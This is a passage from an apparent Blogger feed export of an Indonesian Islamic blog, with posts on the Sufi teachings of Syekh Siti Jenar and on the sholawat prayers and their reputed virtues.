dipahami namun tetap mendalam. Yg terpenting, memiliki banyak kemiripan dgn pengalaman rohani yg sudah dilewatkannya, serta yg akan ditempuhnya. Pada akhirnya nanti, sekembalinya ke Tanah Jawa, pengaruh ketiga kitab itu akan nampak nyata, dalam berbagai ungkapan mistik, ajaran serta khotbah-khotbahnya, yg banyak memunculkan guncangan-guncangan keagamaan dan politik di Jawa.&lt;br /&gt;&lt;br /&gt;Syekh Siti Jenar banyak meluangkan waktu mengikuti dan mendengarkan konser-konser musik sufi yg digelar diberbagai sama’ khana. Sama’ khana adalah rumah-rumah tempat para sufi mendengarkan musik spiritual dan membiarkan dirinya hanyut dalam ekstase (wajd). Sama’ khana mulai bertumbuhan di Baghdad sejak abad ke-9 (Schimmel; 1986, hlm. 185). Pada masa itu grup musik sufi yg terkenal adalah al-Qawwal dgn penyanyi sufinya ‘Abdul Warid al-Wajd.&lt;br /&gt;&lt;br /&gt;Berbagai pengalaman spiritual dilaluinya di Baghdad sampai pada tingkatan fawa’id (memancarnya potensi pemahaman roh karena hijab yg menyelubunginya telah tersingkap. Dgn ini seseorang akan menjadi berbeda dgn umumnya manusia); dan lawami’ (mengejawantahnya cahaya rohani akibat tersingkapnya fawa’id), tajaliyat melalui Roh al-haqq dan zawaid (terlimpahnya cahaya Ilahi ke dalam kalbu yg membuat seluruh rohaninya tercerahkan). Ia mengalami berbagai kasyf dan berbagai penyingkapan hijab dari nafsu-nafsunya. Disinilah Syekh Siti Jenar mendapatkan kenyataan memadukan pengalaman sufi dari kitab-kitab al-Hallaj, Ibnu ‘Arabi dan al-Jili.&lt;br /&gt;&lt;br /&gt;Bahkan setiap kali ia melantunkan dzikir dikedalaman lubuk hatinya dgn sendirinya ia merasakan denting dzikir dan menangkap suara dzikir yg berbunyi aneh, Subhani, alhamdu li, la ilaha illa ana wa ana al-akbar, fa’budni (mahasuci aku, segala puji untukku, tiada tuhan selain aku, maha besar aku, sembahlah aku). Walaupun telinganya mendengarkan orang di sekitarnya membaca dzikir Subhana Allah, al-hamduli Allahi, la ilaha illa Allah, Allahu Akbar, fa’buduhu, namun suara yg di dengar lubuk hatinya adalah dzikir nafsi, sebagai cerminan hasil man ‘arafa bafsahu faqad ‘arafa Rabbahu tersebut. Sampai di sini, Syekh Siti Jenar semakin memahami makna hadist Rasulullah “al-Insan sirri wa ana sirruhu” (Manusia adalah Rahasia-Ku dan Aku adalah rahasianya).&lt;br /&gt;&lt;br /&gt;Sebenarnya inti ajaran Syekh Siti Jenar sama dgn ajaran sufi ‘Abdul Qadir al-Jilani (w.1165), Ibnu ‘Arabi (560/1165-638-1240), Ma’ruf al-Karkhi, dan al-Jili. Hanya saja ketiga tokoh tsb mengalami nasib yg baik dalam artian, ajarannya tidak dipolitisasi, sehingga dalam kehidupannya di dunia tidak pernah mengalami intimidasi dan kekerasan sebagai korban politik dan menemui akhir hayat secara biasa.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ingsun, Allah dan Kemanunggalan (Syekh Siti Jenar)&lt;br /&gt;&lt;br /&gt;1.“Sabda sukma, adhep idhep Allah, kang anembah Allah, kang sinembah&lt;br /&gt;Allah, kang murba amisesa.”&lt;br /&gt;Pernyataan Syekh Siti Jenar diatas secara garis besarnya adalah: “Pernyataan roh yg bertemu-hadapan dgn Allah, yg menyembah Allah, yg disembah Allah, yg meliputi segala sesuatu.”&lt;br /&gt;&lt;br /&gt;Ini adalah salah satu sumber pengetahuan ajaran Syekh Siti Jenar yg maksudnya adalah sukma (roh di kedalaman jiwa) sebagai pusat kalam (pembicaraan dan ajaran). Hal itu diakibatkan karena di kedalaman roh batin manusia tersedia cermin yg disebut mir’ah al-haya’ (cermin yg memalukan). Bagi orang yg sudah bisa mengendalikan hawa nafsunya serta mencapai fana’ cermin tersebut akan muncul, yg menampakkan kediriannya dengan segala perbuatan tercelanya. Jika ini telah terbuka maka tirai-tirai Rohani juga akan tersingkap, sehingga kesejatian dirinya beradu-adu (adhep idhep), “aku ini kau, tapi kau aku”.&lt;br /&gt;Maka jadilah dia yg menyembah sekaligus yg disembah, sehingga dirinya sebagai kawula-Gusti memiliki wewenang murba amisesa, memberi keputusan apapun tentang dirinya, menyatu iradah dan kodrat kawula-Gusti.&lt;br /&gt;&lt;br /&gt;2. “Hidup itu bersifat baru dan dilengkapi dengan pancaindera. Pancaindera ini merupakan barang pinjaman, yg jika sudah diminta oleh yg empunya, akan menjadi tanah dan membusuk, hancur lebur bersifat najis. Oleh karena itu pancaindera tidak dapat dipakai sebagai pedoman hidup. Demikian pula budi, pikiran, angan-angan dan kesadaran, berasal dari pancaindera, tidak dapat dipakai sebagai pegangan hidup. Akal dapat menjadi gila, sedih, bingung, lupa tidur dan seringkali tidak jujur. Akal itu pula yg siang malam mengajak dengki, bahkan merusak kebahagiaan orang lain. Dengki dapat pula menuju perbuatan jahat, menimbulkan kesombongan, untuk akhirnya jatuh dalam lembah kenistaan, sehingga menodai nama dan citranya. Kalau sudah sampai sedemikian jauhnya, baru orang menyesalkan perbuatannya.”&lt;br /&gt;&lt;br /&gt;Menurut Syekh Siti Jenar, baik pancaindera maupun perangkat akal tidak dapat dijadikan pegangan dan pedoman hidup. Sebab semua itu bersifat baru, bukan azali. Satu-satunya yg bisa dijadikan gondhelan dan gandhulan hanyalah Zat Wajibul Maulanan, Zat Yang Maha Melindungi. Pancaindera adalah pintu nafsu dan akal adalah pintu bagi ego. Semuanya harus ditundukkan di bawah Zat Yang Wajib memimpin.&lt;br /&gt;Karena hanya Dialah yg menunjukkan semua budi baik. Jadi pancaindera harus dibimbing oleh budi dan budi dipimpin oleh Sang Penguasa Budi atau Yang Maha Budi. Sedangkan Yang Maha Budi itu tidak terikat dalam jeratan dan jebakan nama tertentu. Sebab nama bukanlah hakikat. Nama itu bisa Allah, Hyang Widi, Hyang Manon, Sang Wajibul Maulana dan sebagainya. Semua itu produk akal, sehingga nama tidak perlu disembah. Jebakan nama dalam syari’at justru malah merendahkan nama-NYA.&lt;br /&gt;&lt;br /&gt;3.“Apakah tidak tahu bahwa penampilan bentuk daging, urat, tulang, sunsum, bisa rusak dan bagaimana cara Anda memperbaikinya? Biarpun bersembahyang seribu kali setiap harinya akhirnya mati juga. Meskipun badan Anda, Anda tutupi akhirnya menjadi debu juga. Tetapi jika penampilan bentuknya seperti Tuhan, Apakah para Wali dapat membawa Pulang dagingnya, saya rasa tidak dapat. Alam semesta ini baru. Tuhan tidak akan membentuk dunia ini dua kali dan juga tidak akan membuat tatanan batu, dalilnya layabtakiru hilamuhdil yg artinya tidak membuat sesuatu wujud lagi tentang terjadinya alam semesta sesudah dia membuat dunia.”&lt;br /&gt;&lt;br /&gt;Dari pernyataan itu nampak Syekh Siti Jenar memandang alam makrokosmos sama dengan mikrokosmos (manusia). Kedua hal tersebut merupakan barang baru ciptaan Tuhan yg sama-sama akan mengalami kerusakan atau tidak kekal.&lt;br /&gt;Pada sisi lain, pernyataan Syekh Siti Jenar tsb mempunyai muatan makna pernyataan sufistik, “Barangsiapa mengenal dirinya, maka ia pasti mengenal Tuhannya.” Sebab bagi Syekh Siti Jenar manusia yg utuh dalam jiwa raganya merupakan wadag bagi penyanda, termasuk penyanda alam semesta. Itulah sebabnya pengelolaan alam semesta menjadi tanggungjawab manusia.&lt;br /&gt;Maka mikrokosmos manusia, tidak lain adalah Blueprint dan gambaran adanya jagat besar termasuk semesta.&lt;br /&gt;Baginya Manusia terdiri dari jiwa dan raga yg intinya ialah jiwa sebagai penjelmaan dzat Tuhan (Sang Pribadi). Sedangkan raga adalah bentuk luar dari jiwa yg dilengkapi pancaindera, berbagai organ tubuh seperti daging, otot, darah dan tulang. Semua aspek keragaan atau ketubuhan adalah barang pinjaman yg suatu saat setelah manusia terlepas dari pengalaman kematian di dunia ini, akan kembali berubah menjadi tanah.&lt;br /&gt;Sedangkan rohnya yg menjadi tajalli Ilahi, manunggal ke dalam keabadian dengan Allah.&lt;br /&gt;&lt;br /&gt;4. “Segala sesuatu yg terjadi di alam semesta ini pada hakikatnya adalah af’al (perbuatan) Allah. Berbagai hal yg dinilai baik maupun buruk pada hakikatnya adalah dari Allah juga. Jadi keliru dan sesat pandangan yg mengatakan bahwa yg baik dari Allah dan yg buruk dari selain Allah.” “…Af’al Allah harus dipahami dari dalam dan dari luar diri. Saat manusia menggoreskan pena misalnya, di situ lah terjadi perpaduan dua kemampuan kodrati yg dipancarkan oleh Allah kepada makhluk-NYA, yakni kemampuan kodrati gerak pena. Di situlah berlaku dalil "Wa Allahu khalaqakum wa ma ta’malun (Qs.Ash-Shaffat:96)", yg maknanya Allah yg menciptakan engkau dan segala apa yg engkau perbuat. Di sini terkandung makna mubasyarah. Perbuatan yg terlahir dari itu disebut al-tawallud. Misalnya saya melempar batu. Batu yg terlempar dari tangan saya itu adalah berdasarkan kemampuan kodrati gerak tangan saya. Di situ berlaku dalil "Wa ma ramaita idz ramaita walakinna Allaha rama (Qs.Al-Anfal:17)", maksudnya bukanlah engkau yg melempar, melainkan Allah jua yg melempar ketika engkau melempar. Namun pada hakikatnya antara mubasyarah dan al-tawallud hakikatnya satu, yakni af’al Allah sehingga berlaku dalil la haula wa la quwwata illa bi Allahi al-‘aliyi al-‘adzimi. Rosulullah bersabda “La tataharraku dzarratun illa bi idzni Allahi", yg maksudnya tidak akan bergerak satu dzarah pun melainkan atas idzin Allah.”&lt;br /&gt;&lt;br /&gt;Eksistensi manusia yg manunggal ini akan nampak lebih jelas peranannya, dimana manusia tidak lain adalah ke-Esa-an dalam af’al Allah. Tentu ke-Esa-an bukan sekedar af’al, sebab af’al digerakkan oleh dzat. Sehingga af’al yg menyatu menunjukkan adanya ke-Esa-an dzat, kemana af’al itu dipancarkan.&lt;br /&gt;&lt;br /&gt;5. “Di dunia ini kita merupakan mayat-mayat yg cepat juga akan menjadi busuk dan bercampur tanah. Ketahuilah juga apa yg dinamakan kawula-Gusti tidak berkaitan dgn seorang manusia biasa seperti yg lain-lain. Kawula dan Gusti itu sudah ada dalam diriku, siang dan malam tidak dapat memisahkan diriku dari mereka. Tetapi hanya untuk saat ini nama kawula-Gusti itu berlaku, yakni selama saya mati. Nanti, kalau saya sudah hidup lagi, Gusti dan kawula lenyap, yg tinggal hanya hidupku sendiri, ketentraman langgeng dalam ADA sendiri. Bila kau belum menyadari kebenaran kata-kataku maka dgn tepat dapat dikatakan, bahwa kau masih terbenam dalam masa kematian. Di sini memang terdapat banyak hiburan aneka warna. Lebih banyak lagi hal-hal yg menimbulkan hawa nafsu. Tetapi kau tidak melihat, bahwa itu hanya akibat pancaindera. Itu hanya impian yg sama sekali tidak mengandung kebenaran dan sebentar lagi akan cepat lenyap. Gilalah orang yg terikat padanya. Saya tidak merasa tertarik, tak sudi tersesat dalam kerajaan kematian. Satu-satunya yg kuusahakan, ialah kembali kepada kehidupan.”&lt;br /&gt;&lt;br /&gt;Syekh Siti Jenar menyatakan dgn tegas bahwa dirinya sebagai Tuhan, ia memiliki hidup dan Ada dalam dirinya sendiri, serta menjadi Pangeran bagi seluruh isi dunia. Sehingga didapatkan konsistensi antara keyakinan hati, pengalaman keagamaan, dan sikap perilaku dzahirnya. Juga ditekankan satu hal yg selalu tampil dalam setiap ajaran Syekh Siti Jenar. Yakni pendapat bahwa manusia selama masih berada di dunia ini sebetulnya mati, baru sesudah ia dibebaskan dari dunia ini, akan dialami kehidupan sejati. Kehidupan ini sebenarnya kematian ketika manusia dilahirkan. Badan hanya sesosok mayat karena ditakdirkan untuk sirna. (bandingkan dengan Zoetmulder; 364). Dunia ini adalah alam kubur, dimana roh suci terjerat badan wadag yg dipenuhi oleh berbagai goda-nikmat yg menguburkan kebenaran sejati dan berusaha menguburkan kesadaran Ingsun Sejati.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Semoga yg ini bermanfaat dalam kepasrahan yg tidak bisa dipikir dgn Akal tapi dengan Hati yang sulit mengungkapkan rasa Cinta itu secara Tulus....&lt;br /&gt;Walaupun rasa Cinta itu sulit diungkapkan dgn bahasa kita yg sangat terbatas ini.....amin....amin&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SURGA DAN NERAKA Syekh Siti Jenar&lt;br /&gt;&lt;br /&gt;“anal jannatu wa nara katannalr al anna”, sering digunakan oleh Syekh Siti Jenar dalam menjelaskan hakikat surga dan neraka. Penulisan yg benar nampaknya adalah “inna al-janatu wa al-naru qath’un ‘an al-ana” (Sesungguhnya keberadaan surga dan neraka itu telah nyata adanya sejak sekarang atau di dunia ini).&lt;br /&gt;Sesungguhnya, menurut ajaran Islam pun, surga dan neraka itu tidaklah kekal. Yang menganggap kekal surga dan neraka itu adalah kalangan awam. Sesungguhnya mereka berdua wajib rusak dan binasa.&lt;br /&gt;Bagi Syekh Siti Jenar, surga atau neraka bukanlah tempat tertentu untuk memberikan pembalasan baik dan buruknya manusia. Surga neraka adalah perasaan roh di dunia, sebagai akibat dari keadaan dirinya yg belum dapat menyatu-tunggal dgn Allah. Sebab bagi manusia yg sudah memiliki ilmu kasampurnan, jelas bahwa ketika mengalami kematian dan melalui pintunya, ia kembali kepada Hidup Yang Agung, hidup yang tan kena kinaya ngapa (hidup sempurna abadi sebagai Sang Hidup). Yaitu sebagai puncak cita-cita dan tujuan manusia.&lt;br /&gt;Jadi, karena surga dan neraka itu ternyata juga makhluk, maka surga dan neraka tidaklah kekal, dan juga bukanlah tempat kembalinya manusia yang sesungguhnya. Sebab tidak mungkin makhluk akan kembali kepada makhluk, kecuali karena keadaan yang belum sempurna hidupnya. Oleh al-Qur’an sudah ditegaskan bahwa tempat kembalinya manusia hanya Allah, yang tidak lain adalah proses kemanunggalan ……ilaihi raji’un, ilaihi al-mashir………&lt;br /&gt;PUASA dan HAJI Syekh Siti Jenar&lt;br /&gt;&lt;br /&gt;“Syahadat, shalat dan puasa itu, sesuatu yang tidak diinginkan, jadi tidak perlu. Adapun zakat dan naik haji ke Makah, itu semua omong kosong (palson kabeh). Itu seluruhnya kedurjanaan budi, penipuan terhadap sesama manusia. Orang-orang dungu yg menuruti aulia, karena diberi harapan surga di kelak kemudian hari, itu sesungguhnya keduanya orang yang tidak tahu. Lain halnya dengan saya, Siti Jenar.”&lt;br /&gt;“Tiada pernah saya menuruti perintah budi, bersujud-sujud di mesjid mengenakan jubah, pahalanya besok saja, bila dahi sudah menjadi tebal, kepala berbelulang. Sesungguhnya hal ini idak masuk akal! Di dunia ini semua manusia adalah sama. Mereka semua mengalami suka-duka, menderita sakit dan duka nestapa, tiada beda satu dengan yang lain. Oleh karena itu saya, Siti Jenar, hanya setia pada satu hal saja, yaitu Gusti Zat Maulana.”&lt;br /&gt;&lt;br /&gt;Syekh Siti jenar menyebutkan bahwa syariat yang diajarkan para wali adalah “omong kosong belaka”, atau “wes palson kabeh”(sudah tidak ada yang asli). Tentu istilah ini sangat amat berbeda dengan anggapan orang selama ini, yang menyatakan bahwa Syekh Siti Jenar menolak syari’at Islam. Yang ditolak adalah reduksi atas syari’at tersebut. Syekh Siti Jenar menggunakan istilah “iku wes palson kabeh”, yg artinya “itu sudah dipalsukan atau dibuat palsu semua.” Tentu ini berbeda pengertiannya dengan kata “iku palsu kabeh” atau “itu palsu semua.”&lt;br /&gt;Jadi yang dikehendaki Syekh Siti Jenar adalah penekanan bahwa syari’at Islam pada masa Walisanga telah mengalami perubahan dan pergeseran makna dalam pengertian syari’at itu. Semuanya hanya menjadi formalitas belaka. Sehingga manfaat melaksanakan syariat menjadi hilang. Bahkan menjadi mudharat karena pertentangan yang muncul dari aplikasi formal syariat tsb.&lt;br /&gt;Bagi Syekh Siti Jenar, syariat bukan hanya pengakuan dan pelaksanaan, namun berupa penyaksian atau kesaksian. Ini berarti dalam pelaksanaan syariat harus ada unsur pengalaman spiritual. Nah, bila suatu ibadah telah menjadi palsu, tidak dapat dipegangi dan hanya untuk membohongi orang lain, maka semuanya merupakan keburukan di bumi.&lt;br /&gt;Apalagi sudah tidak menjadi sarana bagi kesejahteraan hidup manusia. Ditambah lagi, justru syariat hanya menjadi alat legitimasi kekuasaan (seperti sekarang ini juga). Yang mengajarkan syari’at juga tidak lagi memahami makna dan manfaat syari’at itu, dan tidak memiliki kemampuan mengajarkan aplikasi syari’at yg hidup dan berdaya guna. Sehingga syari’at menjadi hampa makna dan menambah gersangnya kehidupan rohani manusia.&lt;br /&gt;Nah, yg dikritik Syekh Siti Jenar adalah shalat yg sudah kehilangan makna dan tujuannya itu. Shalat haruslah merupakan praktek nyata bagi kehidupan. Yakni shalat sebagai bentuk ibadah yg sesuai dgn bentuk profesi kehidupannya. Orang yg melakukan profesinya secara benar, karena Allah, maka hakikatnya ia telah melaksanakan shalat sejati, shalat yg sebenarnya. Orientasi kepada yang Maha Benar dan selalu berupaya mewujudkan Manunggaling Kawula Gusti, termasuk dalam karya, karsa-cipta itulah shalat yg sesungguhnya.&lt;br /&gt;Makna Ihsan&lt;br /&gt;&lt;br /&gt;“Itulah yang dianggap Syekh Siti Jenar Hyang Widi. Ia berbuat baik dan menyembah atas kehendak-NYA. Tekad lahiriahnya dihapus. Tingkah lakunya mirip dengan pendapat yg ia lahirkan. Ia berketetapan hati untuk berkiblat dan setia, teguh dalam pendiriannya, kukuh menyucikan diri dari segala yg kotor, untuk sampai menemui ajalnya tidak menyembah kepada budi dan cipta. Syekh Siti Jenar berpendapat dan menggangap dirinya bersifat Muhammad, yaitu sifat rasul yg sejati, sifat Muhammad yg kudus.”&lt;br /&gt;&lt;br /&gt;“Gusti Zat Maulana. Dialah yg luhur dan sangat sakti, yg berkuasa maha besar, lagipula memiliki dua puluh sifat, kuasa atas kehendak-NYA. Dialah yg maha kuasa, pangkal mula segala ilmu, maha mulia, maha indah, maha sempurna, maha kuasa, rupa warna-NYA tanpa cacat seperti hamba-NYA. Di dalam raga manusia Ia tiada nampak. Ia sangat sakti menguasai segala yg terjadi dan menjelajahi seluruh alam semesta, Ngidraloka”.&lt;br /&gt;&lt;br /&gt;Dua kutipan di atas adalah aplikasi dari teologi Ihsan menurut Syekh Siti Jenar, bahwa sifatullah merupakan sifatun-nafs. Ihsan sebagaimana ditegaskan oleh Nabi dalam salah satu hadistnya (Sahih Bukhari, I;6), beribadah karena Allah dgn kondisi si ‘Abid dalam keadaan menyaksikan (melihat langsung) langsung adanya si Ma’bud. Hanya sikap inilah yg akan mampu membentuk kepribadian yg kokoh-kuat, istiqamah, sabar dan tidak mudah menyerah dalam menyerukan kebenaran.&lt;br /&gt;Sebab Syekh Siti Jenar merasa, hanya Sang Wujud yg mendapatkan haq untuk dilayani, bukan selain-NYA. Sehingga, dgn kata lain, Ihsan dalam aplikasinya atas pernyataan Rasulullah adalah membumikan sifatullah dan sifatu-Muhammad menjadi sifat pribadi.&lt;br /&gt;Dengan memiliki sifat Muhammad itulah, ia akan mampu berdiri kokoh menyerukan ajarannya dan memaklumkan pengalamannya dalam “menyaksikan langsung” ada-NYA Allah. “Persaksian langsung” itulah terjadi dalam proses manunggal.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;“Hyang Widi, wujud yg tak nampak oleh mata, mirip dengan ia sendiri, sifat-sifatnya mempunyai wujud, seperti penampakan raga yg tiada tampak. Warnanya melambangkan keselamatan, tetapi tanpa cahaya atau teja, halus, lurus terus-menerus, menggambarkan kenyataan tiada berdusta, ibaratnya kekal tiada bermula, sifat dahulu yg meniadakan permulaan, karena asal dari diri pribadi.”&lt;br /&gt;&lt;br /&gt;Ihsan berasal dari kondisi hati yg bersih. Dan hati yg bersih adalah pangkal serta cermin seluruh eksistensi manusia di bumi. Keihsanan melahirkan ketegasan sikap dan menentang ketundukan membabi-buta kepada makhluk. Ukuran ketundukan hati adalah Allah atau Sang Pribadi. Oelh karena itu, sesama manusia dan makhluk saling memiliki kemerdekaan dan kebebasan diri. Dan kebebasan serta kemerdekaan itu sifatnya pasti membawa kepada kemajuan dan peradaban manusia, serta tatanan masyarakat yg baik, sebab diletakkan atas landasan Ke-Ilahian manusia. Penjajahan atas eksistensi manusia lain hakikatnya adalah bentuk dari ketidaktahuan manusia akan Hyang Widhi…Allah (seperti Rosul sering sekali mengatakan bahwa “Sesungguhnya mereka tidak mengerti”).&lt;br /&gt;Karena buta terhadap Allah Yang Maha Hadir bagi manusia itulah, maka manusia sering membabi-buta merampas kemanusiaan orang lain. Dan hal ini sangat ditentang oleh Syekh Siti Jenar. Termasuk upaya sakralisasi kekuasaan Kerajaan Demak dan Sultannya, bagi Syekh Siti Jenar harus ditentang, sebab akan menjadi akibat tergerusnya ke-Ilahian ke dalam kedzaliman manusia yang mengatasnamakan hamba Allah yg shalih dan mengatasnamakan demi penegakan syari’at Islam.&lt;br /&gt;&lt;br /&gt;Pribadi adalah pancara roh, sebagai tajalli atau pengejawantahan Tuhan. Dan itu hanya terwujud dengan proses wujudiyah, Manuggaling Kawula-Gusti, sebagai puncak dan substansi tauhid. Maka manusia merupakan wujud dari sifat dan dzat Hyang Widi itu sendiri. Dengan manusia yg manunggal itulah maka akan menjadikan keselamatan yg nyata bukan keselamatan dan ketentraman atau kesejahteraan yg dibuat oleh rekayasa manusia, berdasarkan ukurannya sendiri. Namun keselamatan itu adalah efek bagi terejawantah-NYA Allah melalui kehadiran manusia.&lt;br /&gt;Sehingga proses terjadinya keselamatan dan kesejahteraan manusia berlangsung secara natural (sunnatullah), bukan karena hasil sublimasi manusia, baik melalui kebijakan ekonomi, politik, rekayasa sosial dan semacamnya sebagaimana selama ini terjadi. Maka dapat diketahui bahwa teologi Manuggaling Kawula Gusti adalah teologi bumi yg lahir dengan sendirinya sebagai sunnatullah. Sehingga ketika manusia mengaplikasikannya, akan menghasilkan manfaat yg natural juga dan tentu pelecehan serta perbudakan kemanusiaan tidak akan terjadi, sifat merasa ingin menguasai, sifat ingin mencari kekuasaan, memperebutkan sesama manusia tidak akan terjadi. Dan tentu saja pertentangan antar manusia sebagai akibat perbedaan paham keagamaan, perbedaan agama dan sejenisnya juga pasti tidak akan terjadi.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-e6FyP4SFZUc/TWoM63t5l9I/AAAAAAAAAW8/3YCPCFVK7JQ/s1600/buku_siti_jenar.gif" imageanchor="1" style="clear:right; float:right; margin-left:1em; margin-bottom:1em"&gt;&lt;img border="0" height="235" width="150" src="http://1.bp.blogspot.com/-e6FyP4SFZUc/TWoM63t5l9I/AAAAAAAAAW8/3YCPCFVK7JQ/s400/buku_siti_jenar.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1198465839063937105?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1198465839063937105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1198465839063937105'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2011/02/semua-tentang-syech-siti-jenar-serta.html' title='Semua Tentang Syech Siti Jenar serta Ajaran²nya'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-e6FyP4SFZUc/TWoM63t5l9I/AAAAAAAAAW8/3YCPCFVK7JQ/s72-c/buku_siti_jenar.gif' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1361773532606890800</id><published>2011-02-27T02:53:00.000+07:00</published><updated>2011-02-27T02:53:35.491+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kajian islam'/><title type='text'>segala sesuatu tentang sholawat</title><content type='html'>&lt;span class="fullpost"&gt;    Puncak ketinggian tercapai dengan kesempurnaan baginda&lt;br /&gt;Segala kegelapan tersingkap dengan keindahan baginda&lt;br /&gt;Baik luhur segala budi pekerti dan kepribadian baginda&lt;br /&gt;Bersholawatlah ke atas Junjungan dan keluarga baginda&lt;br /&gt;&lt;br /&gt;Tentu, tidak sederhana, menyelami keagungan Shalawat Nabi.&lt;br /&gt;Karena setiap kata dan huruf dalam shalawat yang kita ucapkan mengandung atmosfir ruhani yang sangat dahsyat.&lt;br /&gt;Kedahsyatan itu, tentu, karena posisi Nabi Muhammad SAW, sebagai hamba Allah, Nabiyullah, Rasulullah, Kekasih Allah dan Cahaya Allah. Dan semesta raya ini diciptakan dari Nur Muhammad, sehingga setiap detak huruf dalam Shalawat pasti mengandung elemen metafisik yang luar biasa.&lt;br /&gt;&lt;br /&gt;Sholawat Annuurdzzaati,&lt;br /&gt;Salah satu shalawat yang dinisbatkan pada Syech Syazili.&lt;br /&gt;&lt;br /&gt;"&lt;b&gt;Allahumma shalli wa sallim wa baarik 'alaa sayyidinaa Muhammadinin nuuridzdzaatii was sirris saarii fii saairil asmaai washshifaati wa 'alaa aalihi wa shahbihi wasallim&lt;/b&gt;"&lt;br /&gt;Artinya :&lt;br /&gt;&lt;br /&gt;"Yaa Allah berikanlah rahmat, salam sejahtera dan keberkahan kepada junjungan kami, yaitu Nabi Muhammad, cahaya Dzat (Allah) dan rahasia Yang mempunyai rahasia dalam seluruh nama dan sifat"&lt;br /&gt;&lt;br /&gt;Konon, sholawat ini merupakan ilham ruhi yang diterima oleh Syech Syazili dan kemudian diajarkan ke murid2 beliau, di dalam lingkup thoriqoh beliau..&lt;br /&gt;Tetapi setelah kurang lebih hampir 500 tahun, sholawat ini ' keluar juga dipermukaan', dengan ditulisnya sholawat ini di dalam sebuah kitab,&lt;br /&gt;kitab "Himpunan sholawat Nabi beserta khasiatnya" oleh Rafiudin, s. Ag dan Drs Maman A.Djaliel,&lt;br /&gt;&lt;br /&gt;Dimana di dalam kitab ini ditulis sebagian kasiatnya adalah :&lt;br /&gt;Shalawat ini untuk membuka rezeki dan untuk memudahkan rezeki, serta untuk pagar atau benteng badan..&lt;br /&gt;&lt;br /&gt;Di dalam tradisi kuno pengajaran sholawat Nurdzat ini,&lt;br /&gt;yang sampai sekarang terus di ajarkan di beberapa thoriqoh,&lt;br /&gt;maka ilmu sholawt Nurdzat ini menjadi salah satu ilmu andalan yang biasanya jarang diberikan kepada murid.&lt;br /&gt;Sebab mengandung beberapa hal yang berbahaya seandainya ilmu ini dimiliki tidak oleh orang yang sudah sabar...&lt;br /&gt;&lt;br /&gt;Mari berbagi tentang keutamaan Shalawat...........   &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-JPTFAhhag5U/TWlXN5-B6sI/AAAAAAAAAW0/0pdWqBHUzBM/s1600/shalawat.jpg" imageanchor="1" style="clear:left; float:left;margin-right:1em; margin-bottom:1em"&gt;&lt;img border="0" height="163" width="400" src="http://4.bp.blogspot.com/-JPTFAhhag5U/TWlXN5-B6sI/AAAAAAAAAW0/0pdWqBHUzBM/s400/shalawat.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Ini adalah sholawat yang dinisbahkan kepada Sayyidi Syamsuddin Muhammad al-Hanafi seorang waliyUllah yang dikatakan memegang maqam Quthub selama 46 tahun 3 bulan.&lt;br /&gt;&lt;br /&gt;Sholawat ini adalah sholawat ke-40 yang dicatat oleh Syaikh Yusuf bin Ismail an-Nabhani dalam "Afdhalush Sholawat". Syaikh Yusuf turut menukilkan kisah bahawa Sidi Syamsuddin telah diperintahkan oleh Junjungan Nabi s.a.w. untuk menjadikan sholawat ini sebagai wirid dalam khalwatnya sebelum terbenam matahari. Sholawat ini merupakan antara shighah jami` yang menghimpunkan pahala dan rahasia yang banyak.&lt;br /&gt;&lt;br /&gt;Kandungannya ialah permohonan kita kepada Allah untuk menggandakan pahala ucapan sholawat dan salam yang kita ucapkan untuk baginda s.a.w. dan ahli keluarga serta para sahabat dengan gandaan yang besar lagi agung, iaitu sebanyak atau seluas ilmu Allah yang tiada kesudahan, baik dari segi bilangan, berat maupun isipadu. Allahu ... Allah.... hanya Allah sahaja yang mengetahui kadarnya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1361773532606890800?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1361773532606890800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1361773532606890800'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2011/02/segala-sesuatu-tentang-sholawat.html' title='segala sesuatu tentang sholawat'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-JPTFAhhag5U/TWlXN5-B6sI/AAAAAAAAAW0/0pdWqBHUzBM/s72-c/shalawat.jpg' height='72' 